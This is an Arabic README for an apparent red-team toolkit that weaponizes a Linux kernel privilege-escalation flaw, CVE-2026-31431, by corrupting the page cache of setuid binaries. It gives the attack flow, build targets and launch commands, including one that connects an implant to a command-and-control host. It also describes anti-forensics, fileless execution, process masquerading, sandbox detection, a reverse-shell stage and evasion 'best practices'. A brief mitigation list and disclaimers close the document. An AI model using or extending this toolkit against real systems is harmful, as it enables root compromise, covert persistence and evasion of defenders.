كوبي فشل -- CVE-2026-31431
تطبيق C معزز لعمليات الفريق الأحمر واختبار الاختراق المصرح به.
⚠️ إشعار قانوني: هذه الأداة مخصصة حصريًا لأبحاث الأمن المصرح بها، واختبار الاختراق المصرح به، والتحليل الدفاعي. استخدمها على الأنظمة التي تمتلكها أو لديك إذن كتابي صريح لاختبارها. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني.
🚀 تم نقل التطوير الرئيسي إلى GitLab.
يتم صيانة هذا المستودع بنشاط هنا. للمشكلات والمساهمات، يرجى استخدام GitLab.
جدول المحتويات
نظرة عامة
هذا المشروع هو منفذ بلغة C معزز وجاهز للإنتاج لاستغلال رفع الامتيازات المحلي CVE-2026-31431 ("كوبي فشل")، الذي كشف عنه في الأصل Theori و Xint في 29 أبريل 2026.
كان إثبات المفهوم الأصلي مكتوبًا بلغة Python ومصممًا لعرض البحث. يحوله هذا التنفيذ إلى مجموعة أدوات من درجة الفريق الأحمر مع:
- عدم وجود أثر على القرص (تنفيذ بدون ملفات يعتمد على memfd)
- اكتشاف تلقائي للهدف (تعداد ثنائيات setuid مع الوعي بـ MAC)
- مكافحة الطب الشرعي (إسقاط ذاكرة التخزين المؤقت، استعادة الطوابع الزمنية، التدمير الذاتي)
- التحكم من قبل المشغل (تنفيذ يتم تشغيله بالإشارة مع مهلات قابلة للتكوين)
- بناءات ثابتة عبر المنصات (x86_64, ARM64, RISC-V عبر musl/zig)
البحث الأصلي
CVE-2026-31431: كوبي فشل
آلية الثغرة
تقع الثغرة في النظام الفرعي للتشفير AF_ALG في نواة Linux. ينفذ قالب authencesn AEAD تحسينًا داخليًا لفك التشفير: عندما يتم توفير النص المشفر عبر splice() من ذاكرة التخزين المؤقت للصفحات لملف، يعيد النواة استخدام نفس الصفحة كمصدر ووجهة معًا.
تدفق الهجوم:
- افتح ثنائي setuid (مثل
/usr/bin/su) للقراءة فقط
- قم بإعداد عملية AEAD
authencesn(hmac(sha256),cbc(aes)) عبر AF_ALG
- قم بتوفير النص المشفر عبر
splice() من ذاكرة التخزين المؤقت للصفحات للملف الهدف
- عملية فك التشفير (الفاشلة) تستبدل 4 بايت من صفحة ذاكرة التخزين المؤقت قبل أن يرفضها المصادقة
- كرر لكل نافذة 4 بايت من الحمولة
execve() للهدف -- تقوم النواة بتحميل الصفحات المحورة من ذاكرة التخزين المؤقت، وتمنح صلاحيات جذر setuid
- تتحول الحمولة إلى شل جذر كامل
الرؤية الأساسية: لا يتم تعديل inode على القرص أبدًا. يتم تحوير ذاكرة التخزين المؤقت للصفحات (page cache) في الذاكرة فقط، مما يجعل الكشف الجنائي أصعب بكثير من استغلالات الكتابة التقليدية على الملفات.
تحسيناتنا
يعمل هذا المشروع على توسيع البحث الأصلي مع تعزيز موجه للفريق الأحمر عبر تسع وحدات.
1. أولية الاستغلال المعززة (patch_chunk.c)
2. اكتشاف الهدف التلقائي (target_discovery.c)
- مسح ثلاثي المراحل: أهداف ذات أولوية → أدلة قياسية → مسح عميق
- تسجيل واعي بـ MAC: يعاقب الثنائيات التي تحتوي على ملفات تعريف AppArmor/SELinux
- 18 هدفًا ذا أولوية:
su, sudo, passwd, pkexec, mount, ping، إلخ.
- سلسلة احتياطية: إذا فشل الهدف الأساسي، يختار تلقائيًا أفضل مرشح تالي
- الوعي بـ Snap: يتخطى
/snap (setuid غير تقليدي)
3. مجموعة مكافحة الطب الشرعي (anti_forensics.c)
4. التنفيذ بدون ملفات (memfd_exec.c)
- memfd_create + fexecve: التنفيذ بدون مسار نظام ملفات
- التمويه: تسمية memfd باسم
kworker أو anon_inode أو eventfd (يندمج في /proc/$pid/fd/)
- Fork-and-forget: fork مزدوج لإنشاء عملية يتيمة (PPID=1)
- فك التشفير في الذاكرة: فك تشفير XOR وRC4 ثم تنفيذ (الحمولة لا تكون نصًا واضحًا على القرص أبدًا)
5. تسليم الحمولة من المرحلة 1 (stage1.c)
6. زرع C2 من المرحلة 2 (stage2_template.c)
- حلقة إعادة اتصال مرنة مع تأخير أسي
- ثلاث توزيعات: موحد، مثلثي، تموج أسي
- التحكم بالإشارة:
SIGUSR1 (تشغيل)، SIGUSR2 (حالة)، SIGTERM (إيقاف)
- إشارات DNS: فحص صحي متخفي لـ C2 قبل اتصال TCP
- انتحال العملية:
[kworker/N:0] في ps/top
7. إخفاء العملية (proc_hide.c)
- الكتابة فوق argv[0]: استبدال في المكان لـ
/proc/$pid/cmdline
- prctl(PR_SET_NAME): أسماء على نمط خيوط النواة (حد 16 بايت)
- تعقيم البيئة: مسح انتقائي لـ
SSH_* وAWS_* وTOKEN* إلخ.
- فصل الوالد:
setsid() + setpgid() للاستقلال عن الطرفية
8. التحكم بتشغيل الإشارة (signal_trigger.c)
| الوضع | السلوك | حالة الاستخدام |
|---|
trigger_oneshot() | نوم → تشغيل → تنفيذ → خروج |
انتظار بدون استخدام وحدة المعالجة المركزية: sigsuspend() بدلاً من حلقات الاقتراع.
9. تموج النوم (sleep_jitter.c)
- ثلاث خلفيات RNG:
getrandom(2) و/dev/urandom وrdtsc احتياطي
- أخذ عينات الرفض: يزيل انحياز المقياس في التوزيع المنتظم
- تعويض الانجراف:
sleep_scheduled() يحافظ على متوسط الفاصل الزمني على الرغم من التموج
- كشف الصندوق الرملي:
check_sandbox_acceleration() يكتشف sleep() المرقعة
الهندسة المعمارية
┌─────────────────────────────────────────────────────────────┐
│ exploit.c (المنسق) │
│ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ │
│ │ إخفاء │ │اكتشاف │ │استغلال │ │ تنظيف │ │
│ │ العملية│ │ الهدف │ │ │ │ │ │
│ └────┬────┘ └────┬────┘ └────┬────┘ └────┬────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ طبقة الوحدة الأساسية │ │
│ │ patch_chunk.c target_discovery.c anti_forensics.c │ │
│ └─────────────────────────────────────────────────────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ طبقة التسليم والتهرب │ │
│ │ stage1.c memfd_exec.c proc_hide.c │ │
│ │ signal_trigger.c sleep_jitter.c │ │
│ └─────────────────────────────────────────────────────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ طبقة الحمولة (المرحلة 2) │ │
│ │ stage2_template.c (شل عكسي / زرع C2) │ │
│ └─────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
البناء
المتطلبات
- GCC أو Clang
- GNU Make
- رؤوس Linux (
linux-libc-dev أو ما يعادله)
- اختياري:
musl-tools (لبناءات ثابتة صغيرة)
- اختياري:
zig (للترجمة المتقاطعة الحديثة)
- اختياري:
dpkg-deb (لتعبئة Debian)
بداية سريعة
# بناء الفريق الأحمر القياسي (مُحسّن، مُجرّد، ثابت)
make redteam
# بناء اختبار الاختراق (رموز، تحسين معتدل)
make pentest
# بناء التصحيح (ASAN، رموز كاملة)
make debug
# فحص الثغرة (غير مدمر)
make checker
الترجمة المتقاطعة
# ARM64 (أهداف سحابة AWS/Azure)
make cross-arm64
# RISC-V
make cross-riscv
# ARM HF (مضمن/IoT)
make cross-armhf
# ترجمة Zig متقاطعة (بدون تثبيت أدوات)
make cross-zig-arm64
make cross-zig-riscv
بناء ثابت بـ musl (ثنائيات صغيرة)
make musl-static
# ينتج ثنائيات ثابتة بحجم ~50-100 KB بدون اعتماد على glibc
حزمة Debian
make deb VERSION=1.0.0
# ينتج: build/deb/copy-fail-cve-2026-31431-1.0.0.deb
معلومات البناء
make info
# يعرض: CC, CFLAGS, LDFLAGS, العمارة, توفر أدوات البناء
الاستخدام
الوضع القياسي (تشغيل بالإشارة)
# نشر الزرع
./exploit &
IMP_PID=$!
# تشغيل الاستغلال عن بعد
kill -USR1 $IMP_PID
# طلب الحالة (بدون إجراء)
kill -USR2 $IMP_PID
# إيقاف آمن
kill -TERM $IMP_PID
التنفيذ الفوري
./exploit -t # تشغيل الآن، بدون انتظار إشارة
./exploit -t -c c2.example.com -p 9999
تكوين مخصص
./exploit \
-c c2.redteam.internal \ # اسم مضيف C2
-p 4444 \ # منفذ C2
-d 300 \ # تأخير أولي قدره 5 دقائق
-T 7200 \ # مهلة تشغيل قدرها ساعتان
-n # تخطي التحقق من الثغرة
فحص الثغرة غير المدمر
./vulnerable
# رمز الخروج: 100 = ضعيف، 0 = مرقع، غيره = خطأ
الوحدات
الأمن العملياتي
أفضل ممارسات الفريق الأحمر
- النشر خلال فترات النشاط المنخفض لتقليل الترابط
- استخدم تموجًا أسيًا لفترات إعادة الاتصال (يتجنب كشف الإشارات)
- التشغيل عبر SIGUSR1 بدلاً من التشغيل التلقائي (يحافظ المشغل على التحكم)
- قم دائمًا بتنفيذ التنظيف (
full_cleanup) حتى لو فشل الاستغلال
- فضل تنفيذ memfd على الحمولات القائمة على القرص
- Fork مزدوج للاستمرارية (
memfd_fork_exec_detach)
- راقب تسريع الصندوق الرملي قبل التنفيذ
الآثار الجنائية
الكشف والتخفيف
الكشف الدفاعي
التخفيفات
- ترقيع النواة: الترقية إلى Linux >= 6.14 مع الالتزام
a664bf3d603d
- التحديث المباشر (Livepatch): تطبيق النقل الخلفي الخاص بالتوزيعة
- SELinux/AppArmor: فرض ملفات تعريف على ثنائيات setuid
- مراقبة eBPF: تتبع مجموعات
AF_ALG + splice()
- التحقق من ذاكرة التخزين المؤقت للصفحات: فحوصات سلامة دورية على الثنائيات الحرجة
الإسناد
البحث الأصلي
المنفذ الأساسي بلغة C
- Tony Gies --
tgies/copy-fail-c
- قدم التنفيذ الأساسي بلغة C باستخدام
nolibc
- أغلفة استدعاءات النظام عبر المنصات وبنية البناء
هذا الفرع المعزز
- تعزيز موجه للفريق الأحمر عبر 9 وحدات
- ميزات الأمن العملياتي (مكافحة الطب الشرعي، التهرب، التخفي)
- دعم الترجمة المتقاطعة (musl, zig, متعدد العمارات)
- التحكم بالمشغل القائم على الإشارة وأوضاع التنفيذ القابلة للتكوين
إشعارات الشكر
- مطورو نواة Linux لـ
memfd_create(2) و fexecve(3)
- صيانة
nolibc لبديل مكتبة C برؤوس فقط
- مشروع مكتبة musl للثنائيات الثابتة الصغيرة
- مشروع Zig لأدوات الترجمة المتقاطعة الحديثة
الترخيص
هذا المشروع مرخص بموجب ترخيص مزدوج:
انظر ملفات المصدر الفردية لمعرفات SPDX.
يظل البحث الأصلي والمنفذ الأساسي بلغة C تحت تراخيصهما الخاصة. يتم توفير الكود الإضافي لهذا الفرع بموجب الترخيص المزدوج أعلاه لتحقيق أقصى قدر من التوافق مع حالات استخدام أبحاث الأمن مفتوحة المصدر والتجارية على حد سواء.
إخلاء المسؤولية
يتم توفير هذا البرنامج لأبحاث الأمن المصرح بها واختبار الاختراق المصرح به فقط. لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام أو الضرر الناجم عن هذا البرنامج. احصل دائمًا على التفويض المناسب قبل اختبار أي نظام لا تملكه.
إذا اكتشفت هذه الثغرة على أنظمتك:
- قم بتطبيق ترقيع النواة (الالتزام
a664bf3d603d أو النقل الخلفي للتوزيعة)
- راقب مؤشرات الاختراق (IoCs) المذكورة أعلاه
- راجع
/var/log/audit/ وبيانات EDR عن شذوذ AF_ALG